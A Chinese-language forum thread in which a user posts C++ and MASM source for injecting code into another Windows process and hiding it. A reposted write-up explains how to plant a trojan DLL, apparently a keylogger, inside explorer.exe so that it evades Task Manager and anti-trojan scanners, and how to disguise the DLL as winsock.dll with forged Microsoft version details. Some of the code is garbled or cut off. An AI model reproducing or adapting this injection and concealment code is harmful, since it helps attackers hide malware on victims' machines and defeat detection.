刚看到的一篇文章,可是看不懂,如果能转成DELPHI代码一定会很好.原题:win9x,nt,w2k下进程的深度隐藏(0分)

  • 主题发起人 tsedlinux
  • 开始时间
T

tsedlinux

Unregistered / Unconfirmed
GUEST, unregistred user!
win9x,nt,w2k下进程的深度隐藏


--------------------------------------------------------------------------------

时间:2002-11-24 16:57:42 作者:不详 阅读5次

可以利用windows的一个*.dll御截漏洞,可以实现在win9x,nt,w2k下进程的深度隐藏,按CTRL+ALT+DEL看不到,用终极防线也看不到。厉害吧!!!不过下面这段就更了不得!!!原理是什么?你自己想想!

#ifndef _RUNTHREAD_H_
#define _RUNTHREAD_H_

extern "C" LPBYTE WINAPI GetCreateProcessThreadCodeAddress();
extern "C" DWORD WINAPI GetCreateProcessThreadCodeLength();
extern "C" LPBYTE WINAPI GetLoadDllThreadCodeAddress();
extern "C" DWORD WINAPI GetLoadDllThreadCodeLength();

BOOL EnablePrivilege(LPCTSTR szPrivName,BOOL fEnable);
BOOL RunThreadInProcess(HANDLE hProcess, LPVOID lpThreadProc, DWORD dwCodeLen, LPVOID lpParameter, DWORD dwParamLen);
DWORD GetProcessIDByName(LPCWSTR lpszName);

typedef struct tagRUNTHREAD_PARAMETER
{
DWORD BaseAddress;
DWORD FnLoadLibraryA;
DWORD FnLoadLibraryW;
DWORD FnGetModuleHandleA;
DWORD FnGetModuleHandleW;
DWORD FnGetProcAddress;
LPVOID lpParameter;
DWORD Reserve;
}RUNTHREAD_PARAMETER;

#endif

////////// .cpp file
#include "stdafx.h"
#include "RunThread.h"
#include "ProcessInfo.h"

BOOL EnablePrivilege(LPCTSTR szPrivName,BOOL fEnable)
{
HANDLE hToken;
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES, &hToken))
return FALSE;
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, szPrivName,
&tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0;
AdjustTokenPrivileges(hToken, FALSE, &tp,
sizeof(tp), NULL, NULL);
return((GetLastError() == ERROR_SUCCESS));
}

BOOL RunThreadInProcess(HANDLE hProcess, LPVOID lpThreadProc, DWORD dwCodeLen, LPVOID lpParameter, DWORD dwParamLen)
{
if(hProcess==NULL)
return FALSE;
if(lpThreadProc==NULL)
return FALSE;
if(dwCodeLen==0)
return FALSE;
DWORD dwOldProtect=0;
//使lpThreadProc可读
BOOL b=::VirtualProtect(lpThreadProc,
dwCodeLen, PAGE_EXECUTE_READWRITE, &dwOldProtect);
if(!b)
{
return FALSE;
}
//在目标进程中为线程代码分配可读写执行的内存
LPBYTE lpDestThreadProc=(LPBYTE)::VirtualAllocEx(hProcess, NULL,
dwCodeLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if(lpDestThreadProc==NULL)
{
::VirtualProtect(lpThreadProc,
dwCodeLen, dwOldProtect, &dwOldProtect);
return FALSE;
}
//在目标进程中写入线程代码
DWORD dwWritten=0;
b=::WriteProcessMemory(hProcess, lpDestThreadProc, lpThreadProc, dwCodeLen, &dwWritten);
::VirtualProtect(lpThreadProc,
dwCodeLen, dwOldProtect, &dwOldProtect);
if(!b)
{
::VirtualFreeEx(hProcess, lpDestThreadProc, 0, MEM_RELEASE);
return FALSE;
}
//在目标进程中为线程参数分配可读写的内存
RUNTHREAD_PARAMETER * lpRunThreadParameter=(RUNTHREAD_PARAMETER *)::VirtualAllocEx(hProcess, NULL,
sizeof(RUNTHREAD_PARAMETER), MEM_COMMIT, PAGE_READWRITE);
if(lpRunThreadParameter==NULL)
{
::VirtualFreeEx(hProcess, lpDestThreadProc, 0, MEM_RELEASE);
return FALSE;
}
LPBYTE lpDestParameter=NULL;
if(lpParameter && dwParamLen>0)
{
lpDestParameter=(LPBYTE)::VirtualAllocEx(hProcess, NULL,
dwParamLen, MEM_COMMIT, PAGE_READWRITE);
if(lpDestParameter==NULL)
{
::VirtualFreeEx(hProcess, lpRunThreadParameter, 0, MEM_RELEASE);
::VirtualFreeEx(hProcess, lpDestThreadProc, 0, MEM_RELEASE);
return FALSE;
}
b=::WriteProcessMemory(hProcess, lpDestParameter, lpParameter, dwParamLen, &dwWritten);
if(!b)
{
::VirtualFreeEx(hProcess, lpDestParameter, 0, MEM_RELEASE);
::VirtualFreeEx(hProcess, lpRunThreadParameter, 0, MEM_RELEASE);
::VirtualFreeEx(hProcess, lpDestThreadProc, 0, MEM_RELEASE);
return FALSE;
}
}
RUNTHREAD_PARAMETER rtp;
rtp.FnGetModuleHandleA=(DWORD)GetModuleHandleA;
rtp.FnGetModuleHandleW=(DWORD)GetModuleHandleW;
rtp.FnLoadLibraryA=(DWORD)LoadLibraryA;
rtp.FnLoadLibraryW=(DWORD)LoadLibraryW;
rtp.FnGetProcAddress=(DWORD)GetProcAddress;
rtp.Reserve=0;

/*
// debug
rtp.lpParameter=lpParameter;
rtp.BaseAddress=(DWORD)lpThreadProc;
((PTHREAD_START_ROUTINE)lpThreadProc)(&rtp);
// debug
*/
rtp.lpParameter=lpDestParameter;
rtp.BaseAddress=(DWORD)lpDestThreadProc;

b=::WriteProcessMemory(hProcess, lpRunThreadParameter, &rtp, sizeof(RUNTHREAD_PARAMETER), &dwWritten);
if(!b)
{
::VirtualFreeEx(hProcess, lpDestParameter, 0, MEM_RELEASE);
::VirtualFreeEx(hProcess, lpRunThreadParameter, 0, MEM_RELEASE);
::VirtualFreeEx(hProcess, lpDestThreadProc, 0, MEM_RELEASE);
return FALSE;
}

DWORD dwThreadID=0;
HANDLE hThread=::CreateRemoteThread(hProcess, NULL,
0, (LPTHREAD_START_ROUTINE)(lpDestThreadProc),
lpRunThreadParameter, 0, &dwThreadID);

::WaitForSingleObject(hThread, INFINITE);
::CloseHandle(hThread);
::VirtualFreeEx(hProcess, lpDestThreadProc, 0, MEM_RELEASE);
if(lpDestParameter)
::VirtualFreeEx(hProcess, lpDestParameter, 0, MEM_RELEASE);
::VirtualFreeEx(hProcess, lpRunThreadParameter, 0, MEM_RELEASE);
return (hThread!=NULL);
}

DWORD GetProcessIDByName(LPCWSTR lpszName)
{
DWORD dwProcessID=0;
int nLen=lstrlenW(lpszName);
HMODULE hNtDll = ::GetModuleHandle( _T( "ntdll.dll") );
if(hNtDll)
{
PNtQuerySystemInformation NtQuerySystemInformation= (PNtQuerySystemInformation) GetProcAddress( hNtDll, _T("NtQuerySystemInformation") );
if(NtQuerySystemInformation)
{
BYTE * pBufferBase = (BYTE*)VirtualAlloc (NULL,
SYSINFO_BUFSIZE,
MEM_COMMIT,
PAGE_READWRITE);
if(pBufferBase)
{
if ( NtQuerySystemInformation( 5, pBufferBase, SYSINFO_BUFSIZE, NULL )==0)
{
SYSTEM_PROCESS_INFORMATION* pSysProcess = (SYSTEM_PROCESS_INFORMATION*)pBufferBase;
do
{
// pSysProcess->usName
if:):CompareStringW(LOCALE_USER_DEFAULT, NORM_IGNORECASE,
lpszName, nLen,
pSysProcess->usName.Buffer,
pSysProcess->usName.Length/sizeof(WCHAR))==CSTR_EQUAL)
{
dwProcessID=pSysProcess->dUniqueProcessId;
break;
}

// get the next process information block
if ( pSysProcess->dNext != 0 )
pSysProcess = (SYSTEM_PROCESS_INFORMATION*)((BYTE*)pSysProcess + pSysProcess->dNext);
else
pSysProcess = NULL;

} while ( pSysProcess != NULL );
}
::VirtualFree(pBufferBase, 0, MEM_RELEASE);
}
}
}
return dwProcessID;
}

///////////// .asm file
include stdafx.inc

RUNTHREAD_PARAMETER STRUCT
BaseAddress DWORD 0
FnLoadLibraryA DWORD 0
FnLoadLibraryW DWORD 0
FnGetModuleHandleA DWORD 0
FnGetModuleHandleW DWORD 0
FnGetProcAddress DWORD 0
lpParameter DWORD 0
Reserve DWORD 0
RUNTHREAD_PARAMETER ENDS
LPRUNTHREAD_PARAMETER TYPEDEF PTR RUNTHREAD_PARAMETER

OFF_BASEASSRESS EQU 0
OFF_LOADLIBRARYA EQU 4
OFF_LOADLIBRARYW EQU 8
OFF_GETMODULEHANDLEA EQU 12
OFF_GETMODULEHANDLEW EQU 16
OFF_GETPROCADDRESS EQU 20
OFF_PARAMETER EQU 24
OFF_RESERVE EQU 28

CREATE_DEFAULT_ERROR_MODE EQU 04000000h
;这段代码需要动态定位地址,所以所有的地址都是动态计算出来的,计算方法如下:
; mov edx, BaseAddress
; mov ecx, Lib_Kernel32_Name
; sub ecx, CreateProcessThreadBegin
; add edx, ecx


.code
; #########################################################################
; CreateProcess ThreadProc
; #########################################################################
ZeroMemory PROTO lpAddr : DWORD, cbSize : DWORD

CreateProcessThreadBegin:
CreateProcessThreadProc proc lpParameter:DWORD
LOCAL BaseAddress : DWORD
LOCAL FnCreateProcessA : DWORD
LOCAL ProccessInfo : PROCESS_INFORMATION
LOCAL Startupinfo : STARTUPINFO

; int 3
jmp CreateProcessThreadProcEnterPoint

Reserve_Data1:
db 90h, 90h, 90h, 90h
Lib_Kernel32_Name:
db "kernel32",0
Reserve_Data2:
db 0, 90h, 90h, 90h, 90h
Func_CreateProcessA_Name:
db "CreateProcessA", 0
Reserve_Data3:
db 0, 90h, 90h, 90h, 90h

CreateProcessThreadProcEnterPoint:
;保存寄存器
push ebx
push esi
push edi
;得到基地址
mov ebx, lpParameter
MOVE BaseAddress, [ebx+OFF_BASEASSRESS]

;GeModuleHandleA("kernel32")
mov edx, BaseAddress
mov ecx, Lib_Kernel32_Name
sub ecx, CreateProcessThreadBegin
add edx, ecx
push edx ;"kernel32"
mov ebx, lpParameter
call DWORD PTR [ebx+OFF_GETMODULEHANDLEA] ;FnGetModuleHandleA
.if eax==0
jmp CreateProcessThreadProcExitPoint
.endif

;GetProcAddress(eax, "CreateProcessA")
mov edx, BaseAddress
mov ecx, Func_CreateProcessA_Name
sub ecx, CreateProcessThreadBegin
add edx, ecx
push edx ;"CreateProcessA
push eax ;hModule
mov ebx, lpParameter
call DWORD PTR [ebx+OFF_GETPROCADDRESS] ;FnGetProcAddress
.if eax==0
jmp CreateProcessThreadProcExitPoint
.endif
mov FnCreateProcessA, eax

Invoke ZeroMemory, ADDR Startupinfo, sizeof STARTUPINFO
mov Startupinfo.cb, sizeof STARTUPINFO
Invoke ZeroMemory, ADDR ProccessInfo, sizeof PROCESS_INFORMATION

lea eax, ProccessInfo
push eax
lea eax, Startupinfo
push eax
push 0
push 0
mov eax, NORMAL_PRIORITY_CLASS
or eax, CREATE_DEFAULT_ERROR_MODE
push eax
push TRUE
push NULL
push NULL
mov ebx, lpParameter
push DWORD PTR [ebx+OFF_PARAMETER] ;lpParameter
push NULL
call FnCreateProcessA
CreateProcessThreadProcExitPoint:
pop edi
pop esi
pop ebx
ret
CreateProcessThreadProc endp

ZeroMemory proc lpAddr : DWORD, cbSize : DWORD
cld
xor eax, eax
mov ecx, cbSize
mov edi, lpAddr
rep stosb
ret
ZeroMemory endp
CreateProcessThreadEnd:

CreateProcessThreadCodeLength equ CreateProcessThreadEnd-CreateProcessThreadBegin

GetCreateProcessThreadCodeAddress proc
mov eax, CreateProcessThreadBegin
ret
GetCreateProcessThreadCodeAddress endp

GetCreateProcessThreadCodeLength proc
mov eax, CreateProcessThreadCodeLength
ret
GetCreateProcessThreadCodeLength endp


; #########################################################################
; LoadDll ThreadProc
; #########################################################################

LoadDllThreadBegin:
LoadDllThreadProc proc lpParameter:DWORD
; int 3
;保存寄存器
push ebx
push esi
push edi
mov ebx, lpParameter
push [ebx+OFF_PARAMETER]
call DWORD PTR [ebx+OFF_LOADLIBRARYA]
pop edi
pop esi
pop ebx
ret
LoadDllThreadProc endp
LoadDllThreadEnd:

LoadDllThreadCodeLength equ LoadDllThreadEnd-LoadDllThreadBegin

GetLoadDllThreadCodeAddress proc
mov eax, LoadDllThreadBegin
ret
GetLoadDllThreadCodeAddress endp

GetLoadDllThreadCodeLength proc
mov eax, LoadDllThreadCodeLength
ret
GetLoa


 
转载:

利用windows的一个*.dll御截漏洞,可以实现在win9x,nt,w2k下进程的深度隐藏,按CTRL+ALT+DEL看不到,用终极防线也看不到,这是我的最新发现,想和大家一起讨论,
我已实现了这一功能,源程在http://njhhack.freehomepages.com/source/hideproc.zip
我的oicq:10772919
e-mail:njhhack@21cn.com
homepage:hotsky.363.net

-----------------

呵呵,各位兄弟,配合我的Delphi源码,讲一下它的工作原理吧,不过大家不要用来做坏事哟,我可是从不黑人的,谁让我是人民教师哟,原理如下:
我编了个启动程序winexec.exe用它来启动install.dll这个安装库,install.dll中有个安装函数用来启动getkey.dll这个执行库,getkey.dll里面有我的木马程序,这个getkey.dll库被挂到explorer.exe的进空间中,然后winexec.exe和install.dll在内存中自动御载,但是getkey.dll仍在内存中运行(这就是*.dll的御载漏洞),因为这时系统中已没有我的winexec.exe存在,所以按CTRL+ALT+DEL查不到有我的进程在运行,这就是进程三级跳.
呵呵,可是,大家知道getkey.dll是如何被挂到explorer.exe这个系统shell进程的地址空间中吗,请听我慢慢道来:
在windows系统中,要进入另一个进程的空间有很多方法,最标准的方法是微软提供的系统级hook功能,大家知道当一个hook放入*.dll中时会成会系统级hook,这是它能收到所以系统中传输的消息,而且若消息是其它进程的线程发出或接收的,那么该*.dll(就是我程序中的install.dll啦)会被强行映射到该进程的地址空间(比如说我的install.dll被映射到explorer.exe的进程空间中),这时install.dll就成了explorer.exe进程的一个调用模块,这时在install.dll用createthread函数创建的线程会成为explorer.exe进程主线程的子线程,这样我们就在explorer.exe的家中暂时有了一块合法的土地,但这只是开始,因为我们的目标是隐藏自已的进程,所以要把winexec.exe在内存中去掉,但这不是我们想要的结果,大家想想,install.dll是由winexec.exe调用的,所以,当winexec.exe死掉后,install.dll也活不成,我们在explorer.exe中占下的一席之地就又没了,那如何办呢,呵呵,听我慢慢讲来:
上面我们说了,当install.dll在explorer.exe中安家后,我们创建的线程就是explorer.exe的子线程,那么由install.dll中调用的*.dll(就是我们程序中的getkey.dll)也会成为explorer.exe的子模块,根据*.dll的特殊性(就是我认为的*.dll的御载漏洞),在install.dll从内存中御掉后,被它调用的getkey.dll还在内存中好好的活着呢,呵呵,微软真是个好宝宝,为我们提供了这么好的驻留内存的机会,我想之所以这样,是因为*.dll不可以成为另一个*.dll的拥有者,只有*.exe才能成为*.dll的拥有者吧,所以explorer.exe就成了getkey.dll的合法拥有者,呵呵,因为explorer.exe是微软的好东东,所以永远在内存中活着,那我们的好战士getkey.dll当然靠着这棵大树也在内存中活的好好的哟,这样我们可爱的getkey.dll就永远安全地在explorer.exe中安了家,呵呵,我们终于可以过河拆桥了,不要说我坏呀,我不要这么做,可不这样的话我的winexec.exe这会被人发现了呀,好可怜哟,这是你在getkey.dll中发出postmessage(findwindow('winexec',nil),wm_destroy,0,0)指令,就会让讨厌的winexec.exe(不对,是可爱的,只不过你的任务完成了,没有了哟,呵呵)从内存中死掉,当然它的好儿子install.dll也会随父而去,但我们可爱的getkey.dll确好好的活在内存中(啊啊,这是为什么呀,gekey.dll的爷爷winexec.exe都死了,它的孙子getkey.dll为何不死呀,呵呵,别忘了哟,getkey.dll的继父explorer.exe很有本事哟,它把它保护的好好的哟,所以死不了的啦),呵呵,明白了吗,这时的内存中已经没有了winexec.exe和install.dll的身影,只有getkey.dll存在,而且是explorer.exe的一个调用模块,当然用CTRL+ALT+DEL只能看到好人explorer.exe,而winexec.exe送给它的坏儿子是看不到了啦,呵呵,如果你用prcview或用spy++,winsight包括各种深度查木马程序(如终极防线)查的话,你只能看到getkey.dll在内存中,但调用者是explorer.exe(这是比尔的好孩子哟,没人怀疑它做坏事吧,呵呵),所以就没人理这个getkey.dll这个坏孩子啦,呵呵,若实在有高手认为它可疑,那好吧,我们加工加工,把getkey.dll的名字改成winsock.dll,然后放在和windows中自带的winsock不同的目录中,呵呵没人怀疑这个文件吧,当然把getkey.dll的版权信息改成是微软的更好啦,呀呀,比尔你不要生气呀,谁叫你这么坏哪,呵呵,我走了..............
 
收藏,待某年某月某日俺有长进有自己的电脑了再学学.
 
有没有更深刻的解释啊
 
接受答案了.
 
顶部